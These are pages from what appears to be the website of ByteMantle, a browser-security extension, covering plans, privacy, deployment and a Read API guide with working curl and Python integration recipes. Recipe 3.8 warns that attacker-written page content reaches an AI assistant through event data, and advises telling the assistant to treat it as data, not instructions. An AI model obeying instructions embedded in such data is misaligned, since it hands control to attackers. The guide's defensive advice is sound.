#### What each plan contains | | Free | Pro | Business | Enterprise | | --- | --- | --- | --- | --- | | **Protection in the browser** | | ClickFix and FileFix: malicious copy-paste commands stopped at the paste | ✓ | ✓ | ✓ | ✓ | | Clipboard shield with local evidence | ✓ | ✓ | ✓ | ✓ | | Alerts for brand-new and look-alike websites | ✓ | ✓ | ✓ | ✓ | | Phishing pages, adversary-in-the-middle kits, sign-ins without a password field | — | ✓ | ✓ | ✓ | | Device Code sign-in phishing | — | ✓ | ✓ | ✓ | | QR-code phishing and tech-support scams | — | ✓ | ✓ | ✓ | | Crypto-wallet and RPC protection | — | ✓ | ✓ | ✓ | | Web3: wallet requests, smart-contract intelligence, EtherHiding | — | add-on | add-on | ✓ | | **Console and investigation** | | Incidents with the attack story, threat events, devices, hunting | — | ✓ | ✓ | ✓ | | Where the user came from, redirects, which script loaded which | — | ✓ | ✓ | ✓ | | Campaigns and the campaign map | — | ✓ | ✓ | ✓ | | Investigation graph and Intelligence | — | ✓ | ✓ | ✓ | | Artifacts (fingerprints and prevalence) | — | ✓ | ✓ | ✓ | | Command Intelligence and service worker removal | — | ✓ | ✓ | ✓ | | Queries and dashboards | — | ✓ | ✓ | ✓ | | Resource Lineage | — | — | ✓ | ✓ | | Technology & Exposure of the sites your people use | — | — | — | ✓ | | **Exports and integrations** | | Incident export: PDF, JSON, for an AI assistant, ZIP; CSV | — | ✓ | ✓ | ✓ | | STIX 2.1 for threat-intelligence platforms | — | ✓ | ✓ | ✓ | | SIEM forwarding (Splunk HEC, CEF, HTTPS webhook) | — | ✓ | ✓ | ✓ | | Scheduled PDF reports by e-mail | — | — | ✓ | ✓ | | Read API for your own tools and AI agents | — | — | — | ✓ | | **Management** | | Deployment with Group Policy, Intune or Google Admin | — | — | ✓ | ✓ | | Groups, signed policies, rule controls | — | ✓ | ✓ | ✓ | | Your own warning page with Report to IT | — | — | ✓ | ✓ | | History kept in the console | local only | 30 days | 90 days | 365 days | | Where the data is kept | your browser | EU | EU | EU or your own server | Web3 is an add-on on Pro and Business. A plan can be tailored for your organization: [tell us what you need](https://bytemantle.com/contact/). #### Questions **What does the free trial include?** For 14 days, every browser protection of Pro is on: phishing pages, Device Code sign-in and crypto wallets, as well as everything in Free. In the console you get the core views (overview, incidents, threat events, devices, hunting), Intelligence and CSV export. You need an account with a confirmed e-mail address. No payment details are asked for. When the trial ends, the browser goes back to the Free protection by itself and your console data is kept for 30 days, so you can pick up where you left off. **How do I get a paid plan?** Payment online is not open yet. [Write to us](https://bytemantle.com/contact/) with the plan and the number of browsers; we send an offer and activate the plan on your account or organization. **Can a business try Business or Enterprise first?** Yes. We set up a pilot with the features you want to evaluate for an agreed period. [Contact us](https://bytemantle.com/contact/?topic=business). **Is Free really free?** Yes, with no account and no time limit. It keeps the core protection against copy-paste attacks and new websites on. **Where is the data kept?** In the European Union, or on your own server if you run the console yourself. See [Trust & Privacy](https://bytemantle.com/trust/) and the [Data Processing Agreement](https://bytemantle.com/legal/dpa/). --- ## Trust & Privacy — what we collect and what we don’t Address: https://bytemantle.com/trust/ Updated: 2026-11-09 > Exactly what the ByteMantle extension and console collect, where data is stored, how evidence is minimized, and how to report a vulnerability. ### A security product has to earn more trust, not less. Browser extensions ask for powerful permissions. Here is exactly what ByteMantle does with them. #### How the extension works with your data - **Detection is local.** Pages, clipboard writes and network requests are analysed inside your browser. Protection works offline. - **You choose whether to connect.** On the welcome page you decide. If you keep everything on the device, events stay in your browser’s local storage, where you can view, export or delete them. The extension then sends only a few one-time, anonymous counting signals (installed, how the welcome question was answered), with no identifier. - **If you connect** (with or without an account), a short record of each detection goes to the console the browser is connected to — the shared console for installs without an account, your free account’s console or your organisation’s (see the table below). You can sign out or disconnect at any time in Settings. - **Domain age** is looked up by the console the browser is connected to, which sends only the domain name to public RDAP and WHOIS registries — never the page or who opened it. - **Smart-contract lookups** (Web3 intelligence) send only a contract address or function selector to public verification services. #### When a browser is connected to a console | Sent to your organisation’s console | Never sent | | --- | --- | | Security events: type, severity, action, rule IDs, MITRE techniques, time | Your browsing history (except the site-by-day record of the optional site technology telemetry) | | The page address where the event happened, without anything after “?” or “#”, and the sites that led to it: the search engine, mail service or site you came from and the redirects in between (site names only); which script on the page loaded another script (address and path) | Passwords or form contents | | The evidence of the detection (for example the harmful command a page put on the clipboard), bounded in size, and its SHA-256; an organisation can switch the evidence text off | Clipboard contents that were not flagged as malicious | | Device health: extension version, queue size, heartbeat, and the number of pages and interactions (counts only) | Cookies or session tokens | | Optional, off by default: resource telemetry for investigations | Anything from pages you visit without a security event, unless your organisation turns on one of the two optional telemetries on the left | | Optional, off by default, Enterprise organisations only: site technology telemetry — what the sites you open say about their own software (server and framework names and versions, cookie names, CMS, plugin and library versions, missing security headers) and on which day your browser opened each site | Cookie values, page text, addresses beyond the site name | How long it is kept: each organisation sets its own periods, within its plan. By default, the raw resource telemetry is kept one day and its summary (which pages loaded which resources) 90 days; security events follow the plan’s retention. Signing in to the console: failed attempts are recorded in the organisation’s audit log with the address they came from, accounts are locked for a short time after repeated wrong passwords, and an organisation can allow sign-in only from its own networks or countries. Wallet requests: when a site asks your wallet to sign something, the extension records only what was asked (the kind of request, the spender and the token contract addresses, the network). It never sees your keys or seed phrase, and it never changes or blocks the request — your wallet still asks you. Domain age: the age of a domain is looked up by your console, not by your browser; when our feed of newly registered domains already knows a domain, no outside service is asked at all. With a personal account, we are the controller (see the [privacy policy](https://bytemantle.com/legal/privacy/)). With an organisation’s console, the organisation is the controller and we process the data on its behalf under our [data processing agreement](https://bytemantle.com/legal/dpa/). When we host the console, data is stored in the European Union. You can also run the console on your own server. More: [GDPR at ByteMantle](https://bytemantle.com/legal/gdpr/). #### How we keep data to a minimum - **Addresses without their secrets:** the page address of an event is sent without anything after “?” or “#” (parameters, tokens, search terms), unless your organisation chooses full addresses; where you came from and the redirects before a page are host names only; the scripts that loaded other scripts are their address and path, never the parameters. - **Cookie values never leave the browser.** Site technology telemetry records cookie names and flags, never their content. - **Evidence under your control:** the evidence text of a detection can be switched off by your organisation; its SHA-256 always stays, so the same command is still recognised across devices. - **Your SIEM gets a minimised copy:** events forwarded to Splunk, a CEF collector or a webhook carry the evidence as a SHA-256, never as text. - **Exports for an AI assistant can be masked:** user names, device names, host names, e-mail addresses and URL parameters are replaced; the evidence is included only if you choose. - **Sharing threat intelligence without sharing people:** STIX exports pseudonymise devices by default; attacker infrastructure seen by several organisations is shown to us only as counts or as anonymous organisations, and an organisation can switch this sharing off. - **Optional telemetry stays off** until your organisation turns it on: resource telemetry and site technology telemetry are policy switches, never a user option. What we send is still personal data in the sense of the GDPR when it relates to your people — minimised and pseudonymised, not anonymous. That is why each organisation decides what is collected and for how long. #### This website - No cookies, no analytics, no advertising or social trackers. - Fonts and scripts are served from this domain — no third-party requests. - Your theme choice is stored only in your browser. - The contact form sends your message by email to us; nothing else is stored except a short-lived, hashed rate-limit counter. #### Vulnerability disclosure If you find a security issue in the extension, the console or this website, please email [info@bytemantle.com](mailto:info@bytemantle.com). Include steps to reproduce and the affected version. We acknowledge reports within three business days, keep you informed, and credit researchers who want to be credited. Please do not access other users’ data, degrade service, or publicly disclose before a fix is available. Our [security.txt](https://bytemantle.com/.well-known/security.txt) has the same details. #### Questions Privacy questions: [dpo@bytemantle.com](mailto:dpo@bytemantle.com). Full details are in the [privacy policy](https://bytemantle.com/legal/privacy/). --- ## Docs — install, deploy and connect Address: https://bytemantle.com/docs/ Updated: 2026-11-09 > Install the ByteMantle extension, deploy it with Group Policy or Intune, and connect devices to your console. ### Getting started Install for yourself in a minute, or roll out to your whole organisation. #### Install 1. Open the extension page in the [Chrome Web Store](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd). 2. Select **Add to Chrome** and confirm. 3. Pin the extension so you can see its status. The core protection is on at once. On the welcome page that opens, choose **Create my free account — 14 days of Pro**: the account form opens in the same tab, you type the 6-digit code we e-mail you, and the browser is connected. From there you can start the free 14-day Pro trial. Already have an account? Use **I already have an account** on the same page. No account? Choose **Continue without an account**: with **Get ByteMantle Threat Intelligence and online protection** ticked, the browser connects without an account and gets our threat lists; untick it to keep everything in the browser. After the sign-up, **Open my console** in the extension opens your console without asking for your password again. To leave an account later: **Settings → Sign out of this browser** (the browser keeps its protection and its seat is freed). #### Check it works Open the extension's popup: it shows that protection is on and, once connected, the account or organisation it reports to. #### Connect to an organisation’s console 1. In the console, go to **Fleet → Enrollment** and create a token for the group of devices. 2. In the extension, open **Settings**, select **Use an enrolment token from my organization**, enter the console address and the token, and select **Connect**. 3. The device appears under **Devices**. Events start flowing within seconds; protection never waits for the console. #### Deploy to an organisation Force-install the extension with your management tool: - **Group Policy / Intune (Windows):** for Chrome, add the extension ID (`bkplloeajblikjdffgdepnhicgajfhcd`) to `ExtensionInstallForcelist`. For Microsoft Edge, add the ID followed by the Chrome Web Store update address (`bkplloeajblikjdffgdepnhicgajfhcd;https://clients2.google.com/service/update2/crx`): on its own, an ID makes Edge look in Edge Add-ons instead. - **Google Admin console:** Apps & extensions → Users & browsers → add from the Chrome Web Store and set to force install. **Zero-touch enrollment** Deliver the console address and an enrollment token through managed policy (`managedMode`, `consoleUrl`, `enrollmentToken`, optionally `group` and `supportContact`): browsers connect by themselves and users cannot change the connection. [Contact us](https://bytemantle.com/contact/) for the policy template. #### Troubleshooting - In the extension: **Settings → Advanced → Troubleshooting → Export diagnostics** downloads one file with the version, the settings and a summary of recent events — no tokens, evidence text or full addresses. - In the console (administrators): **Fleet → Connection health** shows which browsers reach the console, which ones have gone quiet and which events did not arrive. - Not connected? **Settings → Advanced → Test connection** checks the console address; **Sync now** sends what is waiting and refreshes the plan and the policy. - Still stuck? [Contact us](https://bytemantle.com/contact/) and attach the diagnostics file and a screenshot of Connection health. **Seen page_bridge.js in the browser console?** When a website's own request fails, the browser's developer tools can list ByteMantle's page_bridge.js next to the error. The error comes from the website: it appears the same way with ByteMantle switched off. --- ## API and integrations guide Address: https://bytemantle.com/docs/api/ Updated: 2026-11-11 > Send ByteMantle threat events to your SIEM, read events and incidents with the Read API, connect ServiceNow, Excel and your own tools: step by step, with tested examples. ### API and integrations guide Get your ByteMantle data into your SIEM, ServiceNow, spreadsheets, dashboards and your own tools. For console 2.17.4 · updated 2026-11-03 Your ByteMantle console already shows every attack your people's browsers met: the fake "verify you are human" pages, the phishing sign-ins, the commands a page tried to slip onto the clipboard, the incidents they formed. This guide is about getting that information **out of the console and into the tools you already use** — your SIEM, a spreadsheet, a ticket system, a dashboard, a script of your own, or an AI assistant that helps your security team. There are two ways to do it, and most organizations use one or both: | | **SIEM forwarding** — the console sends | **Read API** — you ask | | --- | --- | --- | | In one sentence | Every new threat event goes to your SIEM within about a minute, without you writing any code. | Your script or tool asks the console for exactly the data it needs, whenever it needs it. | | Good for | Splunk, Elastic, Microsoft Sentinel (through a Logic App), any system that accepts HTTPS webhooks or CEF | reports, exports to Excel / Power BI, opening tickets for new incidents, checks in your own monitoring, AI assistants | | You set it up in | **Admin → SIEM** | **Admin → API Keys** | | Plans | Pro, Business and Enterprise (and the trial) | Enterprise (and the trial) | Only **administrators** of your organization can set up either one: the SIEM and API Keys pages are not in the menu of viewers and analysts. Both work only over HTTPS and only with your own organization's data. Every command and script in this guide is run against a ByteMantle console before each release, and SIEM delivery is checked in all three formats by a receiver that inspects each delivery the way a SIEM does. The screenshots come from a demonstration console with sample data. If something does not work the way it is written here, tell us: that is a bug in the guide. #### 1. Send your threat events to your SIEM (10 minutes) **What you need:** an HTTPS address on your SIEM side that accepts events, and the header it uses to authenticate (for Splunk, an HTTP Event Collector token). 1. In the console, open **Admin → SIEM**. 2. Under **Add destination**, fill in: - **Name** — anything that tells you what it is, e.g. "Splunk production". - **Endpoint URL** — your SIEM's HTTPS address. For Splunk it ends in `/services/collector/event` (for example `https://splunk.example.com:8088/services/collector/event`). - **Format** — Splunk HEC for Splunk; JSON batch for Elastic, a Logic App or any webhook; CEF lines for a syslog relay. - **Minimum severity** — start with Medium or High if you only want what matters most. - **Auth header name / value** — for Splunk: `Authorization` and `Splunk `. The value is stored encrypted and is never shown again, not even to you. - **Event types** — leave empty to receive every kind of threat event. 3. Click **Add destination**, then **Send test** next to it. Your SIEM should receive one sample event within seconds. If it does not, the page shows the error your SIEM answered. That is all. From now on the console sends new threat events every minute, in batches of up to 100. If your SIEM is unavailable, nothing is lost: the console tries again, waiting a little longer each time, and continues where it stopped. What exactly is sent, field by field, is in 4.8. **Tip** A new destination starts with the events that arrive after you add it; it does not send your history. To load older events into your SIEM once, use the Read API (recipe 3.1). **Watch out** Your SIEM may receive an event twice, for example when its answer to a batch was lost on the network and the console sent the batch again. Every event carries a unique `event_id`: deduplicate on it. **Tip** Behind a company firewall? The console connects to your SIEM from the internet, so the address must be reachable from outside (Splunk Cloud, Elastic Cloud and Logic Apps are). For a SIEM inside your network, put an HTTPS relay in front of it. ↑ Top #### 2. Your first API call (5 minutes) **What you need:** a computer with `curl` (it is part of Windows 10 and 11, macOS and Linux). **Step 1 — create a key.** In the console, open **Admin → API Keys**, give the key a name that says what will use it, and choose: - **Acts as:** Viewer is enough for almost everything. Analyst is only needed if the key must also read the evidence text of events (the actual command a page tried to copy), and then you also tick Allow sensitive properties (with Viewer, the console refuses that box with a message). - **Data types:** leave them all unticked to allow everything the role may read, or tick only what the integration needs. - **Allowed IP addresses:** the address of the server that will use the key. Strongly recommended. - **Expires on:** keys expire after a year by default; you can choose another date or none. The key works until the end of that day in the console's time zone. Click **Create key**. The key appears **once**: copy it now and keep it in your password manager or secret store. The console keeps only a fingerprint of it, so nobody — not even ByteMantle — can show it to you again. If you lose it, create a new one and revoke the old one. **Watch out** Treat the key like a password. Do not put it in a script you share, in a ticket or in a chat; keep it in your secret store and read it from an environment variable, as every example in this guide does. If a key may have leaked, revoke it at once ( **Admin → API Keys → Revoke**): it stops working immediately. **Tip** One key per integration. When one integration stops, you revoke its key without touching the others, and the **Last used** and **Requests** columns tell you which integration is calling. **Step 2 — ask what you may read.** Put the key in a variable (so it does not end up in your shell history twice) and call the catalog: ``` export BYTEMANTLE_KEY='ngk_paste-your-key-here' curl -s -H "Authorization: Bearer $BYTEMANTLE_KEY" https://console.bytemantle.com/api/v1/catalog.php ``` You get back the list of data types your key can read, with every field of each one (the full list is in 4.7). **Step 3 — ask for the high and critical events.** ``` curl -s https://console.bytemantle.com/api/v1/query.php \ -H "Authorization: Bearer $BYTEMANTLE_KEY" -H "Content-Type: application/json" \ -d '{"type": "core.event", "columns": ["event_time", "severity", "event_type", "site", "device.label", "action"], "filters": [{"p": "severity", "op": "gte", "v": "high"}], "sort": [{"p": "event_time", "dir": "desc"}], "limit": 2}' ``` The answer, exactly as the console sent it: ``` { "ok": true, "type": "core.event", "columns": [ {"name": "event_time", "type": "datetime", "label": "Time"}, {"name": "severity", "type": "enum", "label": "Severity"}, {"name": "event_type", "type": "enum", "label": "Type"}, {"name": "site", "type": "domain", "label": "Site"}, {"name": "device__label", "type": "text", "label": "Label"}, {"name": "action", "type": "text", "label": "Action"} ], "rows": [ {"event_time": "2026-11-03T12:44:02Z", "severity": "critical", "event_type": "service_worker", "site": "swu-zz.com", "device__label": "Linux · Chrome · #0023", "action": "detected"}, {"event_time": "2026-11-03T12:44:02Z", "severity": "high", "event_type": "correlation", "site": "swu-zz.com", "device__label": "Linux · Chrome · #0023", "action": "detected"} ], "row_count": 2, "limit": 2, "truncated": false, "next_cursor": "eyJvIjoyLCJxIjoiNTkwMTY3Njg0ZTg3NDYyYSJ9", "took_ms": 2 } ``` Three things to notice: `device.label` comes back as `device__label` (a field of a related object); times are always UTC; and `next_cursor` means more rows are waiting — 4.5 shows how to read them. **Tip** On Windows, run the `curl` examples in **Git Bash** or **WSL** (the Command Prompt and PowerShell quote text differently), or use the Python recipes of section 3: they work the same on Windows, macOS and Linux. ↑ Top #### 3. Recipes Each recipe is complete: copy it, set `BYTEMANTLE_KEY` (and change `console.bytemantle.com` if your console has another address), and run it. The Python recipes need Python 3.9 or newer and the `requests` package (`pip install requests`). ##### 3.1 Every event of the last 7 days into a CSV file (for Excel or Power BI) ``` import csv, os, requests URL = "https://console.bytemantle.com/api/v1/query.php" HEADERS = {"Authorization": "Bearer " + os.environ["BYTEMANTLE_KEY"]} QUERY = { "type": "core.event", "columns": ["event_time", "severity", "event_type", "site", "url", "action", "blocked", "device.label", "incident_id"], "filters": [{"p": "event_time", "op": "last", "v": {"n": 7, "unit": "day"}}], "sort": [{"p": "event_time", "dir": "desc"}], "limit": 1000, } rows, cursor = [], None while True: body = dict(QUERY, cursor=cursor) if cursor else QUERY answer = requests.post(URL, json=body, headers=HEADERS, timeout=60).json() if not answer["ok"]: raise SystemExit(f"The console refused the query: {answer}") rows += answer["rows"] cursor = answer["next_cursor"] if not cursor: break with open("bytemantle_events.csv", "w", newline="", encoding="utf-8") as f: writer = csv.DictWriter(f, fieldnames=[c["name"] for c in answer["columns"]]) writer.writeheader() writer.writerows(rows) print(f"{len(rows)} events written to bytemantle_events.csv") ``` In Excel: **Data → From Text/CSV** and choose the file. In Power BI: **Get data → Text/CSV**. Run the script on a schedule (Task Scheduler, cron) to keep the file fresh. **Tip** For counts over months, do not download every event: ask the console to count for you (recipe 3.3), and use `core.event_summary`, which holds hourly counts and answers much faster. ##### 3.2 A new ticket for every new incident This script remembers the last incident it saw (in `last_incident.txt`) and prints every newer one as a line of JSON. Replace the `print` with a call to your ticket system's API (Jira, ServiceNow, a Teams or Slack webhook). ``` import json, os, pathlib, requests URL = "https://console.bytemantle.com/api/v1/query.php" HEADERS = {"Authorization": "Bearer " + os.environ["BYTEMANTLE_KEY"]} STATE = pathlib.Path("last_incident.txt") last_id = int(STATE.read_text()) if STATE.exists() else 0 answer = requests.post(URL, headers=HEADERS, timeout=60, json={ "type": "core.incident", "columns": ["id", "title", "severity", "status", "site", "device.label", "first_seen_at", "last_seen_at", "event_count"], "filters": [{"p": "id", "op": "gt", "v": last_id}, {"p": "severity", "op": "gte", "v": "high"}], "sort": [{"p": "id", "dir": "asc"}], "limit": 100, }).json() if not answer["ok"]: raise SystemExit(f"The console refused the query: {answer}") for incident in answer["rows"]: print(json.dumps(incident)) # here: open the ticket last_id = max(last_id, incident["id"]) STATE.write_text(str(last_id)) print(f"{len(answer['rows'])} new incident(s)") ``` Run it every few minutes. It asks only for incidents newer than the last one it handled, so a ticket is never opened twice. **Watch out** An incident keeps growing while the attack goes on (new events join it for 30 minutes). This recipe opens the ticket when the incident appears; if your team wants the final picture, add a link to the incident in the console and read it there, as the ServiceNow recipe ( 3.7) does. ##### 3.3 How many events per day, and of which kind Two queries for a chart. Events per day, last 7 days: ``` {"type": "core.event", "columns": [{"agg": "count", "as": "events"}], "group": [{"p": "event_time", "bucket": "day", "as": "day"}], "filters": [{"p": "event_time", "op": "last", "v": {"n": 7, "unit": "day"}}]} ``` Events per kind, last 30 days, most frequent first: ``` {"type": "core.event", "columns": ["event_type", {"agg": "count", "as": "events"}], "group": ["event_type"], "filters": [{"p": "event_time", "op": "last", "v": {"n": 30, "unit": "day"}}], "sort": [{"by": "events", "dir": "desc"}]} ``` Send either one the way step 3 of section 2 does (`curl … -d ''`). For long periods (months), ask `core.event_summary` instead of `core.event`: it holds hourly counts and answers much faster. ##### 3.4 Open incidents, newest first ``` {"type": "core.incident", "columns": ["id", "title", "severity", "status", "site", "device.label", "last_seen_at"], "filters": [{"p": "status", "op": "in", "v": ["open", "investigating"]}], "sort": [{"p": "last_seen_at", "dir": "desc"}], "limit": 20} ``` ##### 3.5 One event, by its number The `id` is the number in the event's address in the console (`index.php?p=event&id=…`). ``` curl -s -H "Authorization: Bearer $BYTEMANTLE_KEY" \ "https://console.bytemantle.com/api/v1/query.php?type=core.event&id=241326&columns=event_time,severity,site,action" ``` ##### 3.6 Receive the SIEM events in your own service If you do not use a SIEM but want the events pushed to a service of your own, choose the JSON batch format in section 1 and point it at a small receiver like this one. The console only sends to HTTPS addresses, so run it behind your HTTPS reverse proxy (nginx, IIS, a cloud load balancer) and set the same secret in the destination's **Auth header** (`Authorization` / `Bearer `). ``` import hmac, json, os from http.server import BaseHTTPRequestHandler, HTTPServer SECRET = os.environ["RECEIVER_SECRET"] # the value you also put in the console PORT = int(os.environ.get("PORT", "8080")) class Receiver(BaseHTTPRequestHandler): def do_POST(self): expected = "Bearer " + SECRET if not hmac.compare_digest(self.headers.get("Authorization", ""), expected): self.send_response(401); self.end_headers(); return batch = json.loads(self.rfile.read(int(self.headers["Content-Length"]))) for event in batch["events"]: print(event["time"], event["severity"], event["type"], event["site"], event["event_id"], flush=True) self.send_response(204); self.end_headers() # any 2xx answer tells the console the batch arrived HTTPServer(("0.0.0.0", PORT), Receiver).serve_forever() ``` The console sends each batch until it gets a `2xx` answer, so an event can occasionally arrive twice (for example after a network error): use `event_id` to recognise repeats. ##### 3.7 ServiceNow: an incident for every ByteMantle incident Most security teams track their work in ServiceNow. The simplest reliable way to connect ByteMantle to it is a small script that runs every few minutes: it asks ByteMantle for the open incidents, and creates an incident in ServiceNow for each one that is not there yet. ServiceNow's own **Table API** does the creating, so nothing has to be installed in ServiceNow. **What you need in ServiceNow** (your ServiceNow administrator does this once): - a user for the integration (for example `bytemantle.integration`), with a password and the **itil** role, which allows it to read and create incidents; - your instance address, for example `https://yourcompany.service-now.com`. **What the script does:** - each ByteMantle incident becomes **one** ServiceNow incident: it is marked with `correlation_id` = `bytemantle-`, and the script first asks ServiceNow whether that incident already exists, so running it again never creates duplicates; - severity becomes urgency and impact: critical → 1 / 1, high → 2 / 2, medium → 3 / 2 (low and info incidents are left out); - the description carries the site, the browser, when it started, how many events, and a link back to the incident in the console. ``` import os, requests CONSOLE = "https://console.bytemantle.com" BYTEMANTLE = {"Authorization": "Bearer " + os.environ["BYTEMANTLE_KEY"]} SNOW = os.environ["SNOW_INSTANCE"].rstrip("/") + "/api/now/table/incident" # e.g. https://yourcompany.service-now.com SNOW_AUTH = (os.environ["SNOW_USER"], os.environ["SNOW_PASSWORD"]) JSON = {"Accept": "application/json"} URGENCY_IMPACT = {"critical": ("1", "1"), "high": ("2", "2"), "medium": ("3", "2")} answer = requests.post(CONSOLE + "/api/v1/query.php", headers=BYTEMANTLE, timeout=60, json={ "type": "core.incident", "columns": ["id", "title", "severity", "site", "device.label", "first_seen_at", "event_count"], "filters": [{"p": "status", "op": "in", "v": ["open", "investigating"]}, {"p": "severity", "op": "gte", "v": "medium"}], "sort": [{"p": "id", "dir": "asc"}], "limit": 100, }).json() if not answer["ok"]: raise SystemExit(f"ByteMantle refused the query: {answer}") created = 0 for incident in answer["rows"]: correlation = f"bytemantle-{incident['id']}" found = requests.get(SNOW, auth=SNOW_AUTH, headers=JSON, timeout=30, params={"sysparm_query": f"correlation_id={correlation}", "sysparm_fields": "sys_id", "sysparm_limit": "1"}) found.raise_for_status() if found.json()["result"]: continue # already in ServiceNow urgency, impact = URGENCY_IMPACT[incident["severity"]] reply = requests.post(SNOW, auth=SNOW_AUTH, headers=JSON, timeout=30, json={ "short_description": "ByteMantle: " + incident["title"], "description": (f"Severity: {incident['severity']}\n" f"Site: {incident['site']}\n" f"Browser: {incident['device__label']}\n" f"First seen (UTC): {incident['first_seen_at']}\n" f"Threat events: {incident['event_count']}\n" f"In the ByteMantle console: {CONSOLE}/index.php?p=incident&id={incident['id']}"), "urgency": urgency, "impact": impact, "correlation_id": correlation, "correlation_display": "ByteMantle", }) reply.raise_for_status() created += 1 print(f"{created} incident(s) created in ServiceNow") ``` Set `BYTEMANTLE_KEY`, `SNOW_INSTANCE`, `SNOW_USER` and `SNOW_PASSWORD` as environment variables (or in your secret store), and run it every 5 minutes with Task Scheduler or cron. **Tip** Ask your ServiceNow administrator whether incidents from security tools should go to the **incident** table or to a security table (for example `sn_si_incident` with Security Incident Response). The script only needs the table name in the `SNOW` line changed; the field names above exist on both. **Watch out** This recipe is tested against a stand-in that answers exactly like the ServiceNow Table API (the same addresses, parameters, answers and Basic authentication), not against a real ServiceNow instance. Try it on your development instance first. **Without a script.** If your ServiceNow administrator prefers to receive events instead of fetching incidents, they can create a **Scripted REST API** in ServiceNow that accepts the JSON batch format of section 1 and add its address as a SIEM destination. The batch format is in 4.8. This sends every event (not incidents), so it suits event management better than incident tracking. ##### 3.8 An AI assistant for your security team An assistant that can make HTTP requests (a custom GPT action, a Copilot Studio connector, an agent you build) can use the Read API like any other client. Give it its **own key**, as **Viewer**, limited to the data types it needs (for example Incidents and Threat Events), with a low request limit and an expiry date. Describe the endpoints of 4.1 and the query format of 4.3 in its instructions, and it can answer questions like "which sites caused the most incidents this week?" from your own data. It can only read: no key can change anything in the console. **Watch out** Event data comes from the web pages your people visited, and an attacker writes those pages. Tell the assistant to treat everything it reads from ByteMantle as data, never as instructions, and do not let it act on its own in other systems. ↑ Top #### 4. Reference ##### 4.1 The three addresses Every address starts with your console's address, for example `https://console.bytemantle.com`. | Method and address | What it does | | --- | --- | | `GET /api/v1/catalog.php` | What this key may read: the data types, each one's fields (name, type, operators, sorting, grouping, aggregates, possible values), how they relate, and your limits | | `POST /api/v1/query.php` | Runs a query (a JSON body, 4.3) and returns rows | | `GET /api/v1/query.php?type=&id=&columns=` | One object by its id (`columns` is optional) | ##### 4.2 Authentication Send the key in the `Authorization` header: `Authorization: Bearer ngk_…`. If something on your side removes that header (some proxies do), send `X-NextGen-API-Key: ngk_…` instead. - Keys start with `ngk_` followed by 48 hexadecimal characters. - Your organization always comes from the key. A request never names an organization: a field called `tenant` anywhere in a request is refused (`tenant_not_allowed`). - Requests over plain HTTP are refused. The API is for servers and scripts: it sends no CORS headers, so a web page in a browser cannot call it. - A key can read, never change. It acts as a viewer or an analyst, never as an administrator: the audit log is not available through the API. - Answers are JSON with `Cache-Control: private, no-store`. The catalog, for a key limited to one data type (yours lists every type your key may read; this one is complete): ``` { "ok": true, "role": "viewer", "sensitive": false, "types": [ { "id": "core.user", "label": "Users", "primary_key": "id", "time_property": null, "search": [], "max_rows": 1000, "properties": [ {"id": "id", "label": "ID", "type": "integer", "operators": ["eq", "neq", "lt", "lte", "gt", "gte", "between", "in", "not_in", "is_null", "not_null"], "sortable": true, "groupable": false, "time_buckets": [], "aggregates": []}, {"id": "username", "label": "Username", "type": "text", "operators": ["eq", "neq", "in", "not_in", "contains", "starts_with", "ends_with", "is_null", "not_null", "is_empty", "not_empty"], "sortable": true, "groupable": true, "time_buckets": [], "aggregates": []}, {"id": "display_name", "label": "Name", "type": "text", "operators": ["eq", "neq", "in", "not_in", "contains", "starts_with", "ends_with", "is_null", "not_null", "is_empty", "not_empty"], "sortable": true, "groupable": false, "time_buckets": [], "aggregates": []} ], "relations": [] } ], "aggregates": ["count", "count_distinct", "sum", "avg", "min", "max"], "limits": {"default_rows": 100, "max_rows": 1000, "max_response_bytes": 2097152, "max_body_bytes": 262144, "catalog_per_minute": 60, "query_per_minute": 120, "requests_per_day": 10000} } ``` A field can also carry `"values"` (the possible values of a list field such as severity), `"sensitive": true` (readable only by an analyst key allowed to read sensitive data) and `"requires_time_filter": true`. ##### 4.3 The query format A query is one JSON object. Only `type` is required. | Field | What it means | | --- | --- | | `type` | the data type (4.7) | | `columns` | the fields you want, in order. Each one is a field name; `"device.label"` for a field of a related object (the related objects of each type are in 4.7); `{"p": "site", "as": "domain"}` to rename; `{"agg": "count", "as": "events"}` or `{"agg": "count_distinct", "p": "site", "as": "sites"}` for a calculation over grouped rows. Without `columns` you get the type's default fields | | `filters` | a list of conditions that must all be true. A condition is `{"p": field, "op": operator, "v": value}` (operators in 4.4). To combine differently: `{"any": [conditions]}` = at least one is true, `{"all": [conditions]}` = all are true, `{"not": condition}` | | `search` | free text, looked for in the type's main text fields (the `search` list of each type in 4.7) | | `group` | fields to group by, or a time field cut into periods: `{"p": "event_time", "bucket": "day", "as": "day"}` (`hour`, `day`, `week`, `month`). Use calculations (`agg`) in `columns` | | `sort` | `[{"p": field, "dir": "asc" or "desc"}]`, or `{"by": name}` for a renamed field or a calculation | | `limit` | rows per answer, from 1 to 1000 (default 100) | | `cursor` | the `next_cursor` of the previous answer, to read the next page (4.5) | | `offset` or `page` | instead of `cursor`: skip `offset` rows, or ask for page number `page` (starting at 1) of `limit` rows. Use only one of `cursor`, `offset` and `page`. The cursor is the better choice: it never skips or repeats rows when new events arrive | Times in values and answers are UTC, written as ISO 8601 (`2026-11-03T12:44:02Z`). A calculation is available on a field only when the field lists it under `aggregates` in the catalog (the calculations are `count`, `count_distinct`, `sum`, `avg`, `min`, `max`). A query that combines conditions: ``` {"type": "core.event", "columns": ["id", "event_time", {"p": "site", "as": "domain"}, "incident.title"], "filters": [ {"p": "event_time", "op": "last", "v": {"n": 30, "unit": "day"}}, {"any": [{"p": "event_type", "op": "in", "v": ["clipboard", "phishing"]}, {"not": {"p": "severity", "op": "lte", "v": "medium"}}]}, {"p": "incident_id", "op": "not_null"} ], "limit": 5} ``` ##### 4.4 Operators Which operators a field accepts is listed with the field in 4.7 (and in the catalog). | Operator | Value | True when the field is… | Example | | --- | --- | --- | --- | | `eq` | one value | equal to | `{"p": "status", "op": "eq", "v": "open"}` | | `neq` | one value | not equal to (also true when the field is empty) | `{"p": "action", "op": "neq", "v": "detected"}` | | `lt` | one value | less than | `{"p": "risk_score", "op": "lt", "v": 50}` | | `lte` | one value | less than or equal to; on severity it follows the order info < low < medium < high < critical | `{"p": "severity", "op": "lte", "v": "medium"}` | | `gt` | one value | greater than | `{"p": "id", "op": "gt", "v": 1200}` | | `gte` | one value | greater than or equal to; on severity it follows the order info < low < medium < high < critical | `{"p": "severity", "op": "gte", "v": "high"}` | | `between` | [from, to] | between two values, both included | `{"p": "event_time", "op": "between", "v": 